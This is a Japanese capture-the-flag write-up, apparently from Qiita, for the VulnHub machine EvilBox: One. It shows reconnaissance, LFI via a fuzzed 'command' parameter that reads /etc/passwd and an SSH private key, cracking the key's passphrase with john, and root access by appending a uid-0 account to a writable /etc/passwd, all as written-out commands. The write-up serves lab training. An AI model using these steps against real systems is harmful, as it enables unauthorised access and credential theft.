0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】EvilBox One:Writeup

Posted at

概要

VulnHub「EvilBox:One」のWriteupです。

User Flag

ターゲットマシンのIPアドレスを特定します。

$sudo arp-scan --interface=enp0s8 --localnet
Interface: enp0s8, type: EN10MB, MAC: 08:00:27:ab:c9:cd, IPv4: 192.168.178.20
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.178.1	0a:00:27:00:00:08	(Unknown: locally administered)
192.168.178.2	08:00:27:a0:52:f6	PCS Systemtechnik GmbH
192.168.178.26	08:00:27:fd:88:92	PCS Systemtechnik GmbH

192.168.178.1は、Virtual BoxのホストオンリーアダプターのIPです。
192.168.178.2は。DHCPサーバーのIPアドレスです。
192.168.178.26が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.26 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.9p1
80 http Apache/2.4.38

80番ポートにアクセスすると、Apache2のデフォルトページが表示されました。

image.png

ディレクトリスキャンを実行すると、/robots.txt/secretがあると分かりました。

$gobuster dir -u 192.168.178.26 -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

/index.html           (Status: 200) [Size: 10701]
/robots.txt           (Status: 200) [Size: 12]
/secret               (Status: 301) [Size: 317] [--> http://192.168.178.26/secret/]

/robots.txtからはHello H4x0rという文字列が返ってきました。

$curl http://192.168.178.26/robots.txt
Hello H4x0r

/secret配下をスキャンすると、/evil.phpを発見しました。

$gobuster dir -u 192.168.178.26/secret -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

/evil.php             (Status: 200) [Size: 0]
/index.html           (Status: 200) [Size: 4]

evil.phpという名前から推測するに、別の攻撃者が設置した悪意のあるファイルである可能性があります。

ローカルファイルインクルード攻撃の脆弱性がある場合、?page=などでパラメータを受け取れる可能性があります。
現状、パラメータ名が分からないのでファジングで探します。

$wfuzz -u "http://192.168.178.26/secret/evil.php?FUZZ=../../../../../etc/passwd" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 0

Target: http://192.168.178.26/secret/evil.php?FUZZ=../../../../../etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================

000013351:   200        26 L     38 W       1398 Ch     "command"

commandというパラメータ名がヒットしたので、/secret/evil.php?command=/etc/passwdにアクセスすると、LFIに成功しました。

/etc/passwdの内容から、mowreeという一般ユーザーアカウントが存在すると分かりました。

image.png

SSHが動いているとポートスキャンで判明しているので、/home/mowree/.ssh/id_rsaにアクセスするとSSHの秘密鍵を入手できました。

image.png

SSH秘密鍵を保存します。

$curl http://192.168.178.26/secret/evil.php?command=/home/mowree/.ssh/id_rsa > id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1743  100  1743    0     0  1462k      0 --:--:-- --:--:-- --:--:-- 1702k

ENCRYPTEDと書かれているので秘密鍵のパスフレーズを特定する必要があります。

$cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6

ssh2johnjohn the ripperでパスフレーズを特定できました。

$ssh2john id_rsa > id_hash.txt

$john --wordlist=/usr/share/wordlists/rockyou.txt id_hash.txt
unicorn          (id_rsa)

mowreeでSSH接続に成功しました。

$ssh -i id_rsa mowree@192.168.178.26
mowree@EvilBoxOne:~$

/home/mowree/user.txtからユーザーフラグを入手できました。

$ cat /home/mowree/user.txt 
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

Root Flag

linpeasで列挙をします。

$ ./linpeas.sh

/etc/passwdの書き込み権限が許可されていると分かりました。

╔══════════╣ Permissions in init, init.d, systemd, and rc.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d

═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ /etc/passwd is writable
═╣ Credentials in fstab/mtab? ........... No
═╣ Can I read shadow files? ............. No
═╣ Can I read shadow plists? ............ No
═╣ Can I write shadow plists? ........... No
═╣ Can I read opasswd file? ............. No
═╣ Can I write in network-scripts? ...... No
═╣ Can I read root folder? .............. No
$ ls -la /etc/passwd
-rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd

opensslでパスワードのMD5ハッシュ値を生成します。

$ openssl passwd -1 -salt usersalt pass
$1$usersalt$AdRPkkbvjFipmAjyOm.NT/

/etc/passwdに新しいrootユーザー情報を追記します。

$ echo 'user:$1$usersalt$AdRPkkbvjFipmAjyOm.NT/:0:0:root:/root:/bin/bash' >> /etc/passwd

$ tail /etc/passwd
user:$1$usersalt$AdRPkkbvjFipmAjyOm.NT/:0:0:root:/root:/bin/bash

追加したアカウントにログインし、root権限を取得できました。

$ su user
Contraseña: 
root@EvilBoxOne:/tmp# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat /root/root.txt 
36QtXfdJWvdC0VavlPIApUbDlqTsBM
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?